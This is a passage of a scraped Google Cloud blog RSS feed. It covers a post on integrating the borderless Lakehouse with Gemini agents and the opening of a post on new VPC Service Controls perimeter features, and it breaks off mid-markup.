        &lt;p class="uni-related-article-tout__eyebrow h-c-eyebrow"&gt;Related Article&lt;/p&gt;

        &lt;div class="uni-related-article-tout__content-wrapper"&gt;
          &lt;div class="uni-related-article-tout__image-wrapper"&gt;
            &lt;div class="uni-related-article-tout__image" style="background-image: url('https://storage.googleapis.com/gweb-cloudblog-publish/images/whats_new_data_cloud_fWg4bKK.max-500x500.png')"&gt;&lt;/div&gt;
          &lt;/div&gt;
          &lt;div class="uni-related-article-tout__content"&gt;
            &lt;h4 class="uni-related-article-tout__header h-has-bottom-margin"&gt;What’s new with Google Data Cloud - 2025&lt;/h4&gt;
            &lt;p class="uni-related-article-tout__body"&gt;Recent product news and updates from our data analytics, database and business intelligence teams.&lt;/p&gt;
            &lt;div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted"&gt;
              &lt;span class="nowrap"&gt;Read Article
                &lt;svg class="icon h-c-icon" role="presentation"&gt;
                  &lt;use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"&gt;&lt;/use&gt;
                &lt;/svg&gt;
              &lt;/span&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/a&gt;
  &lt;/section&gt;
&lt;/div&gt;

&lt;/div&gt;</description><pubDate>Thu, 15 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/data-analytics/whats-new-with-google-data-cloud/</guid><category>Databases</category><category>Business Intelligence</category><category>Data Analytics</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/whats_new_data_cloud_fWg4bKK.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>What’s new with Google Data Cloud</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/original_images/whats_new_data_cloud_fWg4bKK.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/products/data-analytics/whats-new-with-google-data-cloud/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>The Google Cloud Data Analytics, BI, and Database teams </name><title></title><department></department><company></company></author></item><item><title>Bringing the borderless Lakehouse into the agentic era with innovations for Gemini</title><link>https://cloud.google.com/blog/products/data-analytics/borderless-lakehouse-integrates-with-gemini/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;As enterprises shift their AI usage from experimental chatbots to autonomous agents, teams are hitting a critical bottleneck: accessing and reasoning over data scattered across multiple clouds, SaaS platforms, and on-premises systems. To turn AI agents into true systems of action, organizations need a foundation that can handle petabyte-scale reasoning without the security risks of data movement. Last week at our &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/welcome-to-gemini-at-work-2026"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini at Work&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; event, we announced how Gemini can help you transform business workflows. To help power your agents with your enterprise data, we will dive deeper into the new Gemini integration with borderless Lakehouse to help you build, secure, and scale agents that work across your data estate.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Access data that lives outside of Google Cloud through Gemini &lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The ultimate value of the borderless Lakehouse is realized through the agents you build to transform your organization, with Gemini as the front door. With the new Gemini integration, data that’s either preconfigured or stored in your borderless Lakehouse is now directly integrated into Gemini. Currently in preview, this means you can set up access to new data sources, such as Databricks Unity Catalog or Snowflake Horizon, through Lakehouse catalog federation directly from Gemini. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Now your business users can use natural language to query records that live across clouds while your AI agents can ground their reasoning and generate code from the same data — all without moving it. By directly contextualizing AI agents across your borderless Lakehouse, you can help accelerate your organization’s AI adoption while simplifying access to critical information.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/image1_HJqokGb.gif"
        
          alt="image1"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="bhjex"&gt;Gemini agents invoked by business users can access data that lives in BigQuery and Databricks Unity Catalog to provide comprehensive reporting and get insights using natural language.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Borderless Lakehouse advancements&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In addition to this new, native integration with Gemini, we’re sharing  that several features we introduced earlier this year to power your data foundation with the borderless Lakehouse are now generally available, including:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Support for Cross-Cloud Interconnect and cross-cloud caching for AWS and Azure&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery support for Apache Iceberg V3 specifications&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Read-write interoperability on Apache Iceberg tables for both BigQuery and Managed Service for Apache Spark&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Bi-directional caching with AWS Glue, Databricks Unity Catalog, and Snowflake Horizon Catalog using Lakehouse runtime federation &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Integration with Knowledge Catalog&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Zero-copy data integration with Salesforce, SAP and Workday, and now, Confluent Tableflow&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Synchronization of Databricks Delta Lake assets through the Lakehouse console using Dataflow&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Let’s explore.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Performance and reasoning at petabyte scale&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;While agent context windows are typically limited to ingesting hundreds of kilobytes at a time, enterprise workflows sometimes join petabytes of data across clouds. An agent-native data platform that needs to combine data across sources, like product and customer data, to your CRM cloud and warehouse telemetry needs to be able to process data at scale. When you do this over MCP, you are limited to megabyte scale because of context windows and payload size. By integrating at every layer of the data and AI stack, the borderless Lakehouse provides enterprise-grade scalability, enabling agents to reason over petabytes of data with similar performance to it being stored locally. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;At the networking layer, &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/network-connectivity/docs/interconnect/concepts/cci-overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cross-Cloud Interconnect&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/about-cross-cloud-data-access"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;cross-cloud caching&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; provide high-throughput, low-latency paths to AWS and Azure, eliminating variable egress fees. When an agent joins Iceberg tables in Amazon Azure Data Lake Storage with data in BigQuery, every uncached byte it scans crosses a cloud boundary, so the network sets the pace. Cross-Cloud Interconnect gives the Lakehouse a dedicated, private connection between Google Cloud and AWS or Azure, at 10 Gbps or 100 Gbps per connection. Lakehouse queries travel over that connection rather than the public internet, so latency stays low and predictable. Cross-cloud caching serves repeat reads from inside Google Cloud, so agents can query data in other clouds without migrating it.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The borderless Lakehouse includes several key optimizations to integrate Iceberg metadata within the query engine. BigQuery now supports &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/use-iceberg-v3-binary-deletion-vectors"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Apache Iceberg V3 specifications,&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; including binary deletion vectors and sort orders. These features allow the engine to handle row-level updates and deletes more efficiently by eliminating the need to rewrite entire data files. We also upgraded BigQuery’s execution engine with a new FlatBuffers-based Parquet reader and parallelized I/O to help reduce CPU overhead and serialization bottlenecks and narrow the performance gap between open formats and native storage.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This builds upon recent performance innovations to the query engine designed to support agent workloads, which often come in herds and need to process small queries quickly and cost effectively. With &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/bigquery-performance-optimizations"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery fluid scaling and history based optimizations&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, you can run scalable and efficient agent workloads while maintaining openness with Apache Iceberg. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Meanwhile, read-write interoperability on Apache Iceberg tables for both &lt;/span&gt;&lt;a href="https://cloud.google.com/bigquery"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;a href="https://cloud.google.com/products/managed-service-for-apache-spark"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Managed Service for Apache Spark&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; makes it easy for all of your data teams to work off the same Iceberg tables in Google Cloud Storage. This vertically optimized stack helps make your agents faster and more cost-effective, leveraging the power of BigQuery and &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/introducing-lightning-engine-for-apache-spark?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Lightning Engine&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to activate data without moving it. To expand the analytical depth of the lakehouse, graph support for Iceberg in BigQuery lets you analyze relationship networks, such as supply chains, directly on open table datasets.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Comprehensive context and data access for your agents&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;An AI agent is only as smart as the context it can access. To help prevent hallucinations and improve accuracy at the metadata layer, the borderless Lakehouse unifies your enterprise data using the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/about-lakehouse-catalogs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Lakehouse runtime catalog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Based on the Apache Iceberg REST Catalog, it provides bi-directional catalog federation with AWS Glue, Databricks Unity Catalog, and Snowflake Horizon Catalog. The Lakehouse runtime catalog also includes a new standard Hive Metastore-compatible endpoint, allowing engines like Apache Spark, Trino, and Presto to discover metadata without architectural changes. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The borderless Lakehouse also integrates directly with &lt;/span&gt;&lt;a href="https://cloud.google.com/products/knowledge-catalog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Knowledge Catalog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, which automatically indexes your distributed data assets, to provide the precise business metadata and semantic definitions agents need to reason over your entire enterprise corpus — including unstructured data in Cloud Storage. This gives agents just enough context to be accurate while controlling token costs, helping you develop an intelligent and sustainable agentic strategy. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The borderless Lakehouse provides zero-copy data integration with your SaaS applications like Salesforce, SAP and Workday and integrates with a larger partner ecosystem, capturing enterprise data in Knowledge Catalog and acting as a single context engine for your agents. Today, we’re expanding the partner ecosystem with new integrations for Confluent Tableflow, now generally available, which syncs to Lakehouse runtime catalog so the Iceberg tables it produces show up directly in BigQuery, with no copying and no extra ETL. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Finally, organizations with Databricks-centric repositories can now easily import, transform and synchronize their Delta Lake assets into Lakehouse through the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/import-delta-lake-tables"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Lakehouse console&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; using Dataflow.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Modernize with ease&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Customer use of Apache Iceberg has more than tripled since the beginning of 2025, and enterprises building with Google Cloud’s borderless Lakehouse are seeing significant impact from it: &lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/customers/etsy-lakehouse"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Etsy&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; unified three petabytes with borderless Lakehouse, joining data in place to accelerate pipeline queries by 60%. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://www.youtube.com/watch?v=Er6iwuxcC-8" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Commerzbank&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; transforms raw distributed data into governed, agent-ready access.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://hightouch.com/blog/introducing-hightouch-for-google-cloud-cross-cloud-lakehouse" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Hightouch&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; integrates directly with borderless Lakehouse so teams can power their marketing directly on an open Iceberg lakehouse and activate that data across the Google Cloud ecosystem.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/customers/target"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Roundel&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; modernized its Target Product Ads technology stack from the ground up with borderless Lakehouse, completely rebuilding its data ingestion, processing, and measurement pipelines. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;If you are ready to get started with the transition to borderless Lakehouse for your organization, it doesn’t need to be difficult. For organizations currently using legacy Dataproc Metastore, we now offer an automated, zero-downtime migration path to the serverless Lakehouse runtime catalog. This preserves your existing schemas and lineage while unlocking the AI-ready features of the borderless Lakehouse, so you can stop managing infrastructure and start activating agents.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Get started today with the &lt;/span&gt;&lt;a href="https://codelabs.developers.google.com/next26/multicloud-lakehouse#0" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Build a borderless Lakehouse codelab&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; or visit &lt;/span&gt;&lt;a href="https://cloud.google.com/solutions/data-lakehouse/"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;our website&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to learn more.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 15 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/data-analytics/borderless-lakehouse-integrates-with-gemini/</guid><category>Data Analytics</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Bringing the borderless Lakehouse into the agentic era with innovations for Gemini</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/products/data-analytics/borderless-lakehouse-integrates-with-gemini/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Gaurav Saxena</name><title>Director, Product Management</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Ahmet Altay</name><title>Director, Engineering</title><department></department><company></company></author></item><item><title>Modernizing perimeter security: Scalable perimeters with VPC Service Controls</title><link>https://cloud.google.com/blog/products/identity-security/introducing-new-scalable-perimeter-options-with-vpc-service-controls/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Agents represent a fundamental shift in cloud operations. They can act on behalf of users or autonomously, make non-deterministic decisions, and request data across projects at unprecedented speed and scale. Because agents are a distinct category of non-human identity (NHI), they require unique secure-by-default guardrails.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Traditional, manually-operated network perimeters are vulnerable to today’s machine-speed attacks. Overly permissive perimeters, built to avoid blocked connections, increase the risk of unauthorized data theft, but overly strict perimeters stall development under a flood of access denials.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Today, we're excited to announce key enhancements to &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/vpc-service-controls/docs/overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;VPC Service Controls&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (VPC-SC) that make perimeters easier to create, maintain, and scale. You can now add folders to perimeter membership, so that projects contained in them inherit policy. You can also manage granular exceptions and resolve denials with guided, scoped remediation. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The result is data protected by default, so you can scale autonomous agents across your enterprise without letting data leave your perimeter. This update is generally available, and at no additional cost.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Perimeters aligned to your architecture&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;VPC-SC provides a context-aware network security perimeter around your Google Cloud deployment, designed to secure your organization against data theft, even in the event of compromised credentials, identity and access management (IAM) misconfigurations, and insider threats. By extending network-layer protection across service-to-service interactions in Google Cloud's infrastructure, VPC-SC goes beyond traditional firewalls and creates an additional layer of defense that prevents access outside your corporate network — and is now easier for your organization to manage.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Cloud administrators configuring VPC-SC can now include &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/vpc-service-controls/docs/folder-membership"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;folders in perimeter membership&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, automatically extending the folder’s access policy to every project and nested subfolder it contains. New workloads can inherit protection by default, with no further modification.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_3FNaYFP.max-1000x1000.png"
        
          alt="1"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="2mz9x"&gt;Figure 1: Simplified perimeter authoring in VPC-SC.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Perimeter membership updates when a project is moved, simplifying lifecycle maintenance. Security coverage follows the resource hierarchy that your organization already governs, and compliance verification requires only confirming that the resource is located in the correct part of the hierarchy. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.cloud.google.com/vpc-service-controls/docs/dry-run-mode"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Dry-run mode&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; also supports folder membership, helping administrators evaluate the effect of a hierarchy-wide perimeter against live traffic before enforcement.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Folder and organization support in ingress and egress rules&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Well-defined &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/vpc-service-controls/docs/ingress-egress-rules"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ingress and egress rules&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; establish granular, context-aware perimeters without sacrificing operational flexibility across complex multi-project environments. Security administrators can now specify Google Cloud folders and organizations directly within those rules. A single hierarchy reference stands in for the set of projects beneath it, which keeps rules concise, keeps attribute counts well within quota limits, and extends access automatically to projects created later in the hierarchy.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2_0mJoqDI.max-1000x1000.png"
        
          alt="2"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="2mz9x"&gt;Figure 2 : Simplified authoring of ingress/egress rules.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Using Private Service Connect endpoints in ingress and egress rules&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Enterprises increasingly use private paths to reach desired endpoints in their deployment instead of exposing the traffic to the internet. &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/vpc/docs/configure-private-service-connect-apis"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Private Service Connect endpoints for Google APIs&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; are now supported as an attribute in ingress and egress rules. Administrators can author a rule that authorizes access specifically over a designated private endpoint, producing a policy that corresponds directly to the connectivity architecture it is intended to govern. &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/3_CbtErt8.max-1000x1000.png"
        
          alt="3"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="2mz9x"&gt;Figure 3: Supporting Private Service Connect endpoints with ingress and egress rules.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For organizations that have standardized on Private Service Connect, including endpoints propagated across the estate through &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/network-connectivity/docs/network-connectivity-center/concepts/overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Network Connectivity Center&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, this provides both a more precise and a more concise means of expressing source for the request.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Service patterns in VPC accessible services&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://docs.cloud.google.com/vpc-service-controls/docs/manage-service-perimeters#accessible-services"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Service patterns in VPC accessible services&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; provide granular control over Google APIs accessed with private Virtual IP addresses (VIP), permitting interoperability beyond just VPC-SC integrated services. If the workload requires controlled access to validated API endpoints over a private path, administrators can now allow only the specific API URL patterns required. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Additionally, the capability supports appending org-restriction-headers with egress requests to facilitate access to only authorized domains and resources. Because you don’t need to manage egress-proxy, you can accommodate legitimate operational requirements while maintaining a tightly-bounded private path, instead of choosing between a broad allowance and no access at all.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/4_axZIku2.max-1000x1000.png"
        
          alt="4"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="2mz9x"&gt;Figure 4: Granular control over Google APIs with service patterns in VPC accessible services.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Guided violation remediation&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;VPC-SC perimeter policies evolve continuously alongside the workloads they protect, and administrators periodically need to authorize a legitimate access request not yet covered. New &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/vpc-service-controls/docs/remediation-suggestions"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Guided Violation Remediation&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; in VPC-SC Violation Analyzer cuts resolution time for blocked requests from days to minutes by generating a policy fix with remediation recommendations, which you can validate in Dry-Run mode first. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Rather than just diagnosing why the violation occurred for a given denial, Violation Analyzer evaluates the blocked request against the applicable perimeter configuration, and proposes a specific configuration change, narrowly scoped by least-privilege design principles, to authorize the traffic: an ingress rule, an egress rule, an access level, or an update to VPC accessible services. This relieves pressure on administrators to broadly open up a perimeter just to resolve a violation and get an application working quickly. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Read more about how BlackLine uses Violation Analyzer to &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/customers/how-blackline-prevents-data-exfiltration-with-vpc-service-controls?e=13802955"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;streamline investigations&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
